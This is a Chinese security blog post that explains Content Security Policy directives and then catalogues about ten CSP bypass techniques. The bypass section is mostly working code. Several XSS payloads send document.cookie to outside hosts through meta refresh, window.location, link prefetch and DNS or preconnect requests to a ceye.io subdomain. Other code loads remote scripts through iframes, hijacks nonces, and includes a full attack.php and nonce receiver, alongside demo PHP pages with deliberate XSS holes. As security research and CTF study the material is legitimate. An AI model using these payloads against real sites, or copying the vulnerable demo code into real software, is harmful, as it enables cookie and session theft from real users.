0x01 何为CSP

CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。

0x02 CSP语法

CSP中常见的header字段为Content-Security-Policy。

一个CSP头由多组CSP策略组成,中间由分号分隔,如下:

1
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表。

策略指令

default-src

default-src作为所有其他指令的备用,一般来说default-src ‘none’; script-src ‘self’这样的情况就会是script-src遵循self,其他的都会使用none。也就是说,除了被设置的指令以外,其余指令都会被设置为default-src指令所设置的属性。

script-src

script-src指令限制了所有js脚本可以被执行的地方,包括通过链接方式加载的脚本url以及所有内联脚本,甚至包括各种方式的引用。其中还有一个很重要的参数叫’unsafe-inline’,如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。

对于这个属性有个特殊的配置叫unsafe-eval,它会允许下面几个函数:

1
`eval()Function()setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.`

style-src

style-src定义了页面中CSS样式的有效来源,包括下面三种引用的css属性,style也有个‘unsafe-inline’这个参数,同理会允许所有的内联css。

1、第一种是通过link标签加载的css,类似于<link href="001.css" type="text/css" rel="Stylesheet"/>

2、当然还有style标签

1
2
3
<style type="text/css">
.main{ width:1002px; margin:0 auto;}
</style>

3、还有通过@import引入的样式表

1
2
3
4
< STYLE TYPE="text/css"> 
@import "example.css";
@import "style/other.css";
< /STYLE>

4、内联样式表,类似于style="font-size:10px;font-color:#ff0000"

img-src

img-src定义了页面中图片和图标的有效来源。

font-src

font-src定义了字体加载的有效来源。

connect-src

connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。如下例子:

1
`<a ping="https://not-example.com">...<script>  var xhr = new XMLHttpRequest();  xhr.open('GET', 'https://not-example.com/');  xhr.send();  var ws = new WebSocket("https://not-example.com/");          var es = new EventSource("https://not-example.com/");  navigator.sendBeacon("https://not-example.com/", { ... });</script>`

child-src

child-src 指定定义了 web workers 以及嵌套的浏览上下文(如frame和iframe)的源。

会匹配iframe和frame标签,如下:

1
2
3
4
5
6
7
首先设置csp
Content-Security-Policy: child-src https://example.com/
而下面的请求会被CSP拦截
<iframe src="https://not-example.com"></iframe>
<script>
var blockedWorker = new Worker("data:application/javascript,...");
</script>

manifest-src

manifest-src指令限制了从应用清单可以加载的url。

这个属性不太熟,比较常见的就是link:

1
2
3
4
举个例子:
Content-Security-Policy: manifest-src https://example.com/
下面的请求会返回错误:
<link rel="manifest" href="https://not-example.com/manifest">

内容源

内容源有三种:源列表、关键字和数据。

源列表

源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, ‘*‘),端口号也可以使用通配符 (同样是 ‘*‘) 来表明所有合法端口都是有效来源。主机通过空格分隔。

有效的主机表达式包括:

http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)

mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)

https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)

如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。

关键字

  • ‘none’
    代表空集;即不匹配任何 URL。两侧单引号是必须的。
  • ‘self’
    代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
  • ‘unsafe-inline’
    允许使用内联资源,如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素,两侧单引号是必须的。
  • ‘unsafe-eval’
    允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。

数据

data:
允许data: URI作为内容来源。

mediastream:
允许mediastream: URI作为内容来源。

1
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

0x03 CSP绕过

绕过场景其实是很多的,这里慢慢来收集吧,主要是先收集一些广泛公开的和CTF中遇到的吧。

1、绕过default-src ‘none’

策略为:Content-Security-Policy: default-src ‘none’;

这种情况下,可以使用meta标签实现跳转:

1
<meta http-equiv="refresh" content="1;url=https://www.mi1k7ea.com/x.php?c=[cookie]" >

Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$nonce = md5(openssl_random_pseudo_bytes(16));
header("Content-Security-Policy: default-src 'none'; ");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="test.php" method="post">
<input type="text" name="content">
<button type="submit">Go</button>
</form>
<?php
if (isset($_POST['content'])) {
echo "Your POST content: <p>".@$_POST['content']."</p>";
}
?>
</body>
</html>

当我们输入如下内容可以成功跳转至目标页面,当然也可以将cookie带出来:

1
<meta http-equiv="refresh" content="1;url=http://192.168.43.201:8000/x.php?c=mi1k7ea" >

2、形同虚设的script-src ‘unsafe-inline’

策略中有一条为:script-src ‘unsafe-inline’; ,这条策略相当于直接让CSP几乎沦陷了大半。

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

1
2
3
<script>window.location="https://www.mi1k7ea.com/x.php?c=[cookie]";</script>
<script>window.open('//www.mi1k7ea.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.mi1k7ea.com/?cookie='+document.cookie</script>

Demo代码还是之前的,把CSP修改一下,添加script-src ‘unsafe-inline’;即可。

输入如下标签直接跳转并成功返回cookie:

1
<script>window.location.href='http://192.168.43.201:8000/?cookie='+document.cookie</script>

内嵌script都可以执行,当然可以直接执行本页面的JS,如输入<script>alert(document.cookie)</script>即可,这里的利用和XSS利用一致,没有啥绕过技巧,不再累赘。

3、绕过xx-src *

*号即允许匹配任何URL请求。但一般情况很少会遇到default-src ;或大部分xx-src ;这样的CSP策略,举一个简单的例子:

1
Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src *; script-src http://xxxxx/js/ 'nonce-xxx';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

很明显地可以找到,frame-src *,其对于iframe的来源并没有做任何限制,当然实际环境可能需要iframe标签来内联来包含别的页面。

可以利用CSRF漏洞。这里直接输入<iframe src="https://www.mi1k7ea.com"></iframe>来测试:

当然,iframe也可以内嵌外部弹框的JS:

查看页面元素,可以看到iframe内嵌包含进来的是<script>alert(1)</script>,其可以正常执行而无视掉script-src http://xxxxx/js/ 'nonce-xxx';的CSP策略。

4、利用link绕过xx-src self

CSP策略中xx-src self的设置能够使大部分的XSS和CSRF都会失效,但link标签的预加载功能可以进行绕过。

在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止):

1
<link rel="prefetch" href="https://www.mi1k7ea.com/c.php?c=[cookie]">

在Firefox下,可以将cookie作为子域名,用DNS预解析的方式把cookie带出去,查看DNS服务器的日志就能得到cookie:

1
<link rel="dns-prefetch" href="//[cookie].mi1k7ea.com">

在后面的iframe中会有结合利用的示例。

5、利用浏览器补全绕过script nonce

有时候CSP策略可能会设置成如下:

1
Content-Security-Policy: default-src 'none';script-src 'nonce-xxx'

这种情况下,script标签需要带上正确的nonce属性值才能执行JS代码。

如果,出现了脚本插入点在含有nonce属性值的script标签前面的情况时,如:

1
2
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入如下内容来利用浏览器补全功能:

1
<script src="http://192.168.248.1/a.js" a="

最终形成如下页面结构:

1
2
<p><script src="http://192.168.248.1/a.js" a="</p>
<script id="aa" nonce="xxx">document.write('CSP');</script>

也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。

还有一个注意点,上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$nonce = md5(openssl_random_pseudo_bytes(16));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; ");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="test.php" method="post">
<input type="text" name="content">
<button type="submit">Go</button>
</form>
<?php
if (isset($_POST['content'])) {
echo "Your POST content: <p>".@$_POST['content']."</p>";
}
?>
<script type="text/javascript" nonce=<?php echo $nonce;?>>document.write("Mi1k7ea")</script>
</body>
</html>

当我们输入<script src="http://192.168.43.201/a.js" a="时即会弹框:

查看元素,看到输入的script标签的a属性的双引号将后面含有nonce的script标签第一个含有双引号的属性都给闭合了,成功劫持了nonce属性进而加载外部JS弹框:

值得注意的就是,要想成功利用在nonce属性前需要存在一个用引号括起来的属性,不然会失效。

另外,在之前做过的一道CSP题目中,也有应用到这种方法,可以参考学习一下:一道绕过CSP的XSS题目

6、利用Gadgets和strict-dynamic/unsafe-eval绕过

即重用Gadgets代码来绕过CSP,具体可参考Black Hat 2017的ppt,上面总结了可以被用来绕过CSP的一些JS库。

例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP:

1
<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie:

1
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

在做过的一道CSP题目中,也有应用到这种方法,可以参考学习一下:一道绕过CSP的XSS题目

7、利用iframe绕过

(1)如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

1
<iframe src="B"></iframe>

下面简单地搞个示例。

1.php代码,有CSP限制,但可以通过iframe加载同源的页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$nonce = md5(openssl_random_pseudo_bytes(16));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; frame-src 'self'; ");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="1.php" method="post">
<input type="text" name="content">
<button type="submit">Go</button>
</form>
<?php
if (isset($_POST['content'])) {
echo "Your POST content: <p>".@$_POST['content']."</p>";
}
?>
</body>
</html>

2.php简单写为<script>alert('Mi1k7ea')</script>

在访问1.php时,直接输入script标签是无法执行弹框的,但可以通过iframe引入同源的2.php来执行该页面的JS代码,输入<iframe src='http://127.0.0.1/2.php'></iframe>

(2)在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库:

1
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

(3)绕过sandbox:

情景1——未开启X-Frame-Options:DENY

Demo代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
setcookie('milk','tea');
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<script><?php echo $_GET['xss'];?></script>
</body>

当CSP设置为allow-popups开启时,window.open等就可以打开新的窗口,这时直接就能利用了,直接输入如下内容就能顺利地带出cookie信息(在URL栏输入前记得先进行URL编码):

1
2
3
?xss=window.open('//xxx.ceye.io/?'+escape(document.cookie))

?xss=window.location.href='http://xxx.ceye.io/?cookie='+document.cookie

这里加载同源的js文件是没有问题的,其中a.js的代码为alert(1),构造如下::

1
xss=f=document.createElement("script");f.src="http://127.0.0.1/a.js";document.body.appendChild(f);

但是有个问题,要是远程加载JS文件是不满足CSP规则的。这里我们换个源就知道了:

1
xss=f=document.createElement("script");f.src="http://127.0.0.1:8000/a.js";document.body.appendChild(f);

显示拒绝加载了,因为CSP中有一条default-src ‘self’的规则限制了。

这里可以通过iframe引入外部js,将src设置为同域的,从而绕过CSP的default-src ‘self’规则。

1
2
3
4
5
6
7
8
9
f=document.createElement("iframe");
f.id="pwn";
f.src="./test.txt";
f.onload=()=>{
x=document.createElement('script');
x.src='//127.0.0.1:8000/a.js';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

没有问题,成功引入外部js弹框:

当然也能把浏览器的数据带出来,引用外部新的c.js:

1
window.open('//xxx.ceye.io/?'+escape(document.cookie))

输入:

1
xss=f=document.createElement(%22iframe%22);f.id=%22pwn%22;f.src=%22./test.txt%22;f.onload=()=%3E{x=document.createElement(%27script%27);x.src=%27//192.168.17.148:81/c.js%27;pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);

这里没有出现网上博客说的带不回的问题。

下面也可以尝试使用DNS通道来传递cookie。

1
2
3
4
5
6
7
8
9
dc = document.cookie;
dcl = dc.split(";");
m = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
m.innerHTML = m.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".xxx.ceye.io\">";
console.log(m.innerHTML);
}

在URL栏输入的时候记得进行URL编码,然后就可以看到打到cookie了:

除此之外,我们还可以获取页面中父窗口标签的内容,在php代码中加上id为secret的标签内容,注意标签必须放在获取URL参数的script标签之上,否则会报错找不到:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups; ");
setcookie('milk','tea');
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<code id='secret'>P4ssw0rd</code>
<script><?php echo $_GET['xss'];?></script>
</body>

改下第一行的内容获取id为secret的父窗口标签即可:

1
2
3
4
5
6
7
8
9
dc = top.document.getElementById("secret").innerHTML;
dcl = dc.split(";");
m = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
m.innerHTML = m.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".xxx.ceye.io\">";
console.log(m.innerHTML);
}

直接打到父窗口标签内容:

情景2——开启X-Frame-Options:DENY

如果header中添加了X-Frame-Options:DENY,则不能如此直接地利用前面的exp。

这里换个示例:http://hsts.pro/csp.php

访问,默认弹框显示welcome,可以看到站点是开了X-Frame-Options:DENY的:

查看页面源码,可以看到和之前的是差不多的,在xss参数中获取URL输入然后嵌入script标签中,其中还含有id为secret的标签:

1
2
3
4
5
6
7
8
9
<html>
<head><link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"><link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp"></head>
<body>
<div class="center-block">
<h1>Hello!</h1>
<script>alert("Welcome")</script>
<code id='secret'>Secret: iGWmT7P2YlYNytnE</code></div>
</body>
</html>

这里可使用CSP的第二个常见错误,即在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点,最简单方法是尝试打开并不存在的网页。因为许多资源只为含有200代码的响应提供了X-Frame-Options头部,而没有为包含404代码的响应提供相应的头部。

为了强制NGINX返回“400 bad request”,你唯一需要做的,就是使用/../访问其上一级路径中的资源。为防止浏览器对请求进行规范化处理,导致/../被/所替换,对于中间的两个点号和最后一个斜线,我们可以使用unicode码来表示。

1
2
3
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

直接在控制台插入即可,当然也可以通过xss参数输入:

上payload获取父窗口标签内容:

1
2
3
4
5
6
7
8
9
10
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
x=document.createElement('script');
x.src='data:,alert("Pwned "+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

当然,也可以访问不存在的页面,造成404错误,注意会弹两次框:

1
2
3
4
5
6
7
8
9
10
frame=document.createElement("iframe");
frame.src="/noexist.txt";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
x=document.createElement('script');
x.src='data:,alert("Pwned "+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

第二种让Web服务器返回错误的方法是让URL超过所允许的长度。

例如NGINX和Apache等Web服务器的默认URL长度通常被设置为不超过8kB。

1
2
3
4
5
6
7
8
9
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
frame.id="pwn";
frame.onload=()=>{
x=document.createElement('script');
x.src='data:,alert("Pwned "+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

第三种欺骗服务器返回错误的方法是触发cookie长度限制。

这是因为当前浏览器支持的cookie越来越长,已经超出了Web服务器所能处理的范围。

1、创建一个巨型的 cookie

1
for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};

2、使用任何地址打开iframe,都会导致服务器返回错误(通常没有XFO或CSP)

3、删除巨型cookie:

1
for(var i=0;i<5;i++){document.cookie=i+”=”}

4、将自己的js脚本写入frame中,用以窃取其父frame中的秘密信息。

payload:

1
2
3
4
5
6
7
8
9
10
11
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
f=document.createElement("iframe");
f.id="pwn";
f.src="/";
f.onload=()=>{
for(var i=0;i<5;i++){document.cookie=i+"="};
x=document.createElement('script');
x.src='data:,alert("Pwned "+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

8、利用meta绕过CSP nonce

meta标签有一些不常用的功能有时候有奇效:

meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce:

1
<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用:

1
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21

9、利用浏览器缓存绕过script nonce

整个原理过程以Demo为例,看图吧:

csp-test.php,开启了nonce script规则,并且有XSS点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function random_string( $length = 8 ) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$password = '';
for($i = 0; $i < $length; $i++)
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
$random = random_string(12);
header('Content-Security-Policy: default-src \'none\'; script-src \'nonce-'.$random .'\';');
header('Cache-Control: max-age=99999999');
setcookie('milk','tea');
?>
<script nonce='<?php echo $random;?>'>document.write('URL ' + unescape(location.href))</script>
<script nonce='<?php echo $random;?>'>console.log('another nonced script')</script>

然后我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个<textarea>标签来吃掉后面的script标签,这样就可以获取内容。

attack.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<iframe id="frame" src="http://127.0.0.1/csp-test.php#<form method='post' action='http://127.0.0.1/nonce_receiver.php'><input type='submit' value='test!'><textarea name='nonce'>">
</iframe>
<script>
function getNonce() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "nonce_receiver.php", false);
xhr.send();
return xhr.responseText;
}

setTimeout(pollNonce, 1000);
function pollNonce() {
var nonce = getNonce();
if (nonce == "") {
setTimeout(pollNonce, 1000);
} else {
attack(nonce);
}
}
function attack(nonce) {
var iframe = document.createElement("iframe");
var url = "http://127.0.0.1/csp-test.php#"
var payload = "<script nonce='" + nonce + "'>alert(document.cookie)</scr" + "ipt>"
var validationPayload = "<script>alert('If you see this alert, CSP is not active')</scr" + "ipt>"
iframe.src = url + payload + validationPayload;
document.body.appendChild(iframe);
}
</script>

然后我们需要一个页面去获取nonce字符串,为了反复获得,这里需要开启session。

nonce_receiver.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
session_start();
if(!empty($_POST)){
$message = $_POST['nonce'];
preg_match('/(nonce=\')\w+\'/', $message, $matches);
$nonce_number = substr($matches[0], 7, -1);
$_SESSION['nonce'] = $nonce_number;
echo $nonce_number;
}else if(!empty($_SESSION['nonce'])){
echo $_SESSION['nonce'];
}
?>

一切就绪了,唯一的问题就是在nonce script上,由于csp开启的问题,我们没办法自动实现自动提交,也就是攻击者必须要使按钮被点击,才能实现一次攻击。

可以看到csp-test.php中的cookie被带回来了:

10、利用wave文件绕过script-src ‘self’

具体参考使用 Wave 文件绕过 CSP 策略

0x04 参考

CSP策略及绕过方法

通过iframe标签绕过csp

CSP学习和绕过